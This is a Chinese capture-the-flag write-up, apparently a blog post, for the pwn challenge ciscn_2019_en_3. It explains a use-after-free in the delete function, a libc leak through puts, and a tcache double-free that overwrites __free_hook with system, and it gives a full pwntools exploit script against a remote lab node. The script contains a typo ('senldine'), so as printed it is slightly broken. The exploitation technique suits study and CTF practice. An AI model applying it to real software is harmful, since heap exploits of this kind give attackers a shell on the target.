ciscn_2019_en_3【write up】

ciscn_2019_en_3

管理我们先来checksec一下

保护全开的64位程序

请添加图片描述

放进ida64里看看

main函数没啥营养就是setbuf后跳转到vuln函数

请添加图片描述

add

将chunk_addr和chunk_size存放在数组unk_202060上

请添加图片描述

show和edit函数都没啥用这里就不展示了

delete

只free掉了chunk未将指数归零因此存在uaf漏洞

请添加图片描述

审题完毕,开始解题

因为存在uaf漏洞 因此我们只需要泄露libc即可 而在开头的puts函数中我们便可以泄露libc

泄露libc

利用puts函数不遇到\x00就不会截止的特性我们将栈塞满这样我们就可以接收到setbuffer+231的内容了

利用接受到的地址我们就可以算出libc_base进而泄露整个libc

io.recvuntil("What's your name?\n")
io.sendline(b'a')
io.recvuntil("input your ID.\n")
io.sendline(b'aaaaaaaa')
io.recvuntil('aaaaaaaa')
libc_base = u64(io.recv(6).ljust(8,'\x00')) -231 - libc.sym['setbuffer']
sys_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

请添加图片描述

此张图片我用的是libc.2.31因此是setbuffer+204实际上按照题目给的2.27应该是setbuffer+231

利用uaf漏洞来达成system(/bin/sh)

add(0x80,'aaaa')#chunk0
add(0x80,'/bin/sh')#chunk1
free(0)
free(0)
add(0x80,p64(free_hook))
add(0x80,b'a')
add(0x80,p64(sys_addr))
free(1)
io.interactive()

成功获取控制权

exp:

from pwn import *
context.log_level='debug'
io=remote('node4.buuoj.cn',28754)
elf=ELF('./ciscn_2019_en_3')
libc=ELF('./libc.2.27.so')

def add(size,content):
    io.recvuntil('choice:')
    io.sendline(b'1')
    io.recvuntil('story:')
    io.sendline(str(size))
    io.recvuntil('story:')
    io.sendline(content)

def free(idx):
    io.recvuntil('choice:')
    io.sendline(b'2')
    io.recvuntil('index:')
    io.senldine(str(idx))
io.recvuntil("What's your name?\n")
io.sendline(b'a')
io.recvuntil("input your ID.\n")
io.sendline(b'aaaaaaaa')
io.recvuntil('aaaaaaaa')
libc_base = u64(io.recv(6).ljust(8,'\x00')) -231 - libc.sym['setbuffer']
sys_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
add(0x80,'aaaa')#chunk0
add(0x80,'/bin/sh')#chunk1
free(0)
free(0)
add(0x80,p64(free_hook))
add(0x80,b'a')
add(0x80,p64(sys_addr))
free(1)
io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值